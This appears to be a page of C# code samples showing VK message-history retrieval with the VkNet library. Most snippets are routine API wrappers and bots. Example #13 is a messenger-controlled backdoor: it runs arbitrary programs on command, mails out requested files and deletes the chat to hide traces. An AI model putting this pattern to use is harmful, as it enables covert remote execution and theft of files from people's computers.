Exemple #1
0
        static long findLastBotMsgID_loc()
        {
            long index                 = -1;
            long?lastMessageID         = 0;
            IEnumerable <Message> msgs = null;

            while (index == -1)
            {
                var arg = new MessagesGetHistoryParams
                {
                    PeerId         = MyChatID,
                    Count          = 20,
                    StartMessageId = lastMessageID == 0 ? null : lastMessageID,
                    Offset         = lastMessageID == 0 ? 0 : 1
                };

                msgs = _myApi.Messages.GetHistory(arg).Messages;
                var botMsgs = msgs.Where(m => m.FromId == -_botID);
                if (botMsgs.Any())
                {
                    index = botMsgs.First().Id.Value;
                }
                lastMessageID = msgs.Last().Id;
            }

            return(index);
        }
Exemple #2
0
        public IEnumerable <Message> GetMessages(long userId)
        {
            Debug.WriteLine($"{GetType()}.{nameof(GetMessages)} started");
            var result  = new List <Message>();
            var @params = new MessagesGetHistoryParams
            {
                UserId = userId,
                Count  = 200,
                Offset = 0
            };
            var getResult = _vkApi.Messages.GetHistory(@params);

            if (CheckTotalCount(userId, getResult.TotalCount))
            {
                return(result);
            }

            var total = getResult.TotalCount;
            var count = 0;

            while (count < total)
            {
                count += getResult.Messages.Count();
                _messageService.UpdateMessages(getResult.Messages.ToList(), userId);
                @params.Offset += 200;
                getResult       = _vkApi.Messages.GetHistory(@params);
            }

            _messageService.UpdateMessages(getResult.Messages.ToList(), userId);
            Debug.WriteLine($"{GetType()}.{nameof(GetMessages)} completed");
            return(result);
        }
Exemple #3
0
        static IEnumerable <Message> getCommands_loc(Predicate <Message> stopMessagePred)
        {
            IEnumerable <Message> cmds = new List <Message>();

            long?lastMessageID         = 0;
            var  index                 = -1;
            IEnumerable <Message> msgs = null;

            while (index == -1)
            {
                var arg = new MessagesGetHistoryParams
                {
                    PeerId         = MyChatID,
                    Count          = 20,
                    StartMessageId = lastMessageID == 0 ? null : lastMessageID,
                    Offset         = lastMessageID == 0 ? 0 : 1
                };

                msgs  = _myApi.Messages.GetHistory(arg).Messages;
                index = msgs.ToList().FindIndex(stopMessagePred);
                msgs  = index == -1 ? msgs : msgs.Take(index);
                cmds  = msgs.Where(isCommand).Reverse().Concat(cmds);

                if (index == -1)
                {
                    lastMessageID = msgs.Last().Id;
                }
            }

            return(cmds);
        }
        /// <summary>
        /// Список. Сообщение|Id_Отправителя|Время
        /// </summary>
        /// <param name="userId"></param>
        /// <returns></returns>
        public static List <string[]> GetMessagesFromUser(long userId)
        {
            var history = new MessagesGetHistoryParams();

            history.UserId   = userId;
            history.Reversed = false;

            history.Count = 20;

            var messages = api.Messages.GetHistory(history).Messages;

            if (messages == null || !messages.Any())
            {
                return(new List <string[]>());
            }

            return(api.Messages.GetHistory(history).Messages.Select(x => new string[] { x.Body, x.FromId.ToString(), x.Date.ToString() }).ToList());
        }
Exemple #5
0
        public ReadOnlyCollection <Message> GetHistory(out int totalCount, bool isChat, long id, int?offset = null, uint?count = 20,
                                                       long?startMessageId = null, bool inReverse = false)
        {
            var parameters = new MessagesGetHistoryParams
            {
                Offset         = offset,
                StartMessageId = startMessageId,
                Reversed       = inReverse,
                PeerId         = isChat ? id : (long?)null,
                UserId         = isChat ? (long?)null : id,
                Count          = count.Value
            };

            var response = _vk.Call("messages.getHistory", parameters);

            totalCount = response["count"];

            return(GetHistory(parameters).Messages);
        }
Exemple #6
0
        private void MainLoop()
        {
            while (true)
            {
                var breakFlag = false;

                var friendsGetParam = new FriendsGetParams();
                friendsGetParam.Fields = ProfileFields.Nickname;
                var friends = _vk.Friends.Get(friendsGetParam);

                var messagesGetHistoryParams = new MessagesGetHistoryParams();
                foreach (User friend in friends)
                {
                    messagesGetHistoryParams.UserId = friend.Id;
                    var messages = _vk.Messages.GetHistory(messagesGetHistoryParams).Messages;

                    foreach (Message message in messages)
                    {
                        _Log($"Request from {friend.FirstName} {friend.LastName}: {message.Body}");
                        if (ProcessMessage(message.Body))
                        {
                            breakFlag = true;
                        }
                    }

                    var ids = messages.Select(x => (long)x.Id);
                    if (ids.Any())
                    {
                        _vk.Messages.MarkAsRead(ids, null);
                    }
                    _vk.Messages.DeleteDialog(friend.Id);
                }

                if (breakFlag)
                {
                    break;
                }

                Thread.Sleep(1000);
            }
        }
Exemple #7
0
        static IEnumerable <long> getUsersAfterBot_loc(long fstBotID)
        {
            Func <IEnumerable <Message>, IEnumerable <long> > ms2AIDs =
                ms => ms.Where(m => m.FromId != -_botID)
                .Select(m => m.FromId)
                .Where(i => i.HasValue)
                .Select(i => i.Value);

            IEnumerable <long> authorIDs = new List <long>();
            long?lastMessageID           = 0;
            var  index = -1;

            IEnumerable <Message> msgs = null;

            while (index == -1 && authorIDs.Count() < _users.Count)
            {
                var arg = new MessagesGetHistoryParams
                {
                    PeerId         = MyChatID,
                    Count          = 20,
                    StartMessageId = lastMessageID == 0 ? null : lastMessageID,
                    Offset         = lastMessageID == 0 ? 0 : 1
                };

                msgs      = _myApi.Messages.GetHistory(arg).Messages;
                index     = msgs.Select(m => m.Id).ToList().IndexOf(fstBotID);
                msgs      = index == -1 ? msgs : msgs.Take(index);
                authorIDs = authorIDs.Concat(ms2AIDs(msgs)).Distinct();

                if (index == -1)
                {
                    lastMessageID = msgs.Last().Id;
                }
            }

            return(authorIDs);
        }
Exemple #8
0
        static void Main(string[] args)
        {
            var vk = new VkApi();

            try
            {
                vk.Authorize(new ApiAuthParams()
                {
                    Login         = LOGIN,
                    Password      = PASSWORD,
                    ApplicationId = APP_ID,
                    Settings      = Settings.Messages
                });
            }
            catch (Exception e)
            {
                Console.WriteLine("Authorization has been failed!");
                Console.WriteLine("Error{0}", e.ToString());
                return;
            }

            Console.WriteLine("Authorization passed successfully...");

            var friendsGetParam = new FriendsGetParams();
            var friends         = vk.Friends.Get(friendsGetParam);

            var msgGetParams = new MessagesGetHistoryParams();

            msgGetParams.UserId = friends.First().Id;
            var msgHistory = vk.Messages.GetHistory(msgGetParams);

            foreach (Message msg in msgHistory.Messages)
            {
                var shift = (msg.Type == MessageType.Received) ? "" : "\t\t";
                Console.WriteLine($"{shift}{msg.Body}");
            }
        }
Exemple #9
0
 public MessagesGetObject GetHistory(MessagesGetHistoryParams @params)
 {
     return(_vk.Call(methodName: "messages.getHistory", parameters: @params));
 }
Exemple #10
0
 public MessagesGetObject GetHistory(MessagesGetHistoryParams @params)
 {
     return(_vk.Call("messages.getHistory", @params));
 }
Exemple #11
0
 /// <inheritdoc />
 public Task <MessagesGetObject> GetHistoryAsync(MessagesGetHistoryParams @params)
 {
     return(TypeHelper.TryInvokeMethodAsync(func: () => GetHistory(@params: @params)));
 }
Exemple #12
0
		public MessagesGetObject GetHistory(MessagesGetHistoryParams @params)
		{
			return _vk.Call("messages.getHistory", @params);
		}
Exemple #13
0
        private void button1_Click(object sender, EventArgs e)
        {
            vk = new VkApi();

            ApiAuthParams param = new ApiAuthParams();

            param.ApplicationId = 6622958;
            param.Login         = File.ReadAllText("VKlog.txt");
            param.Password      = File.ReadAllText("VKpas.txt");
            param.Settings      = Settings.All;



            try
            {
                vk.Authorize(param);
            }
            catch (Exception)
            {
                MessageBox.Show("Неверный логин или пароль!");
                return;
            }

            MessagesSendParams msgParams = new MessagesSendParams();

            msgParams.UserId  = ADMIN_ID;
            msgParams.Message = GenerateSpamText("Бот готов услужить!\n!Help помощь в командах");
            vk.Messages.Send(msgParams);

            MessagesGetObject        msg;
            MessagesGetHistoryParams msgHistoryParams = new MessagesGetHistoryParams();

            msgHistoryParams.UserId = ADMIN_ID;
            msgHistoryParams.Count  = 1;
            msgHistoryParams.Offset = 0;

            while (true)
            {
                try
                {
                    msg = vk.Messages.GetHistory(msgHistoryParams);
                }
                catch (Exception)
                {
                    msg = vk.Messages.GetHistory(msgHistoryParams);
                }
                if (msg.Messages.Count > 0)
                {
                    if (msg.Messages[0].Body.Contains("!Run")) // !Run [url/exe/path]
                    {
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                        Process.Start(msg.Messages[0].Body.Split(' ').Last());
                    }
                    if (msg.Messages[0].Body.Contains("!Help"))
                    {
                        msgParams.Message = GenerateSpamText("!Run [url/exe/path] - запуск приложений\n" + "!SendMail - Отправка указанного файла сообщением\n"
                                                             + "!ChangeRecipient - изменить получателя\n" + "!RecipientMail - вывести имя получателя\n" + "");
                        vk.Messages.Send(msgParams);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }
                    if (msg.Messages[0].Body.Contains("!SendMail"))
                    {
                        string FileAdres = msg.Messages[0].Body.Split(' ').Last();
                        Send(FileAdres);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }
                    if (msg.Messages[0].Body.Contains("!ChangeRecipient"))
                    {
                        string NewRecMail = msg.Messages[0].Body.Split(' ').Last();
                        File.WriteAllText("RECmail.txt", NewRecMail);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }
                    if (msg.Messages[0].Body.Contains("!RecipientMail"))
                    {
                        string ReadRecMail = File.ReadAllText("RECmail.txt");
                        msgParams.Message = GenerateSpamText(ReadRecMail);
                        vk.Messages.Send(msgParams);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }

                    Thread.Sleep(5000);
                }
            }
        }
Exemple #14
0
		public ReadOnlyCollection<Message> GetHistory(out int totalCount, bool isChat, long id, int? offset = null, uint? count = 20,
			long? startMessageId = null, bool inReverse = false)
		{
			var parameters = new MessagesGetHistoryParams
			{
				Offset = offset,
				StartMessageId = startMessageId,
				Reversed = inReverse,
				ChatId = isChat ? id : (long?)null,
				UserId = isChat ? (long?)null : id,
				Count = count.Value
			};
			
			var response = _vk.Call("messages.getHistory", parameters);

			totalCount = response["count"];

			return GetHistory(parameters).Messages;
		}
Exemple #15
0
 public MessageGetHistoryObject GetHistory(MessagesGetHistoryParams @params)
 {
     throw new NotImplementedException();
 }
Exemple #16
0
 public Task <MessageGetHistoryObject> GetHistoryAsync(MessagesGetHistoryParams @params)
 {
     throw new NotImplementedException();
 }
Exemple #17
0
 /// <inheritdoc />
 public async Task <MessagesGetObject> GetHistoryAsync(MessagesGetHistoryParams @params)
 {
     return(await TypeHelper.TryInvokeMethodAsync(() => _vk.Messages.GetHistory(@params)));
 }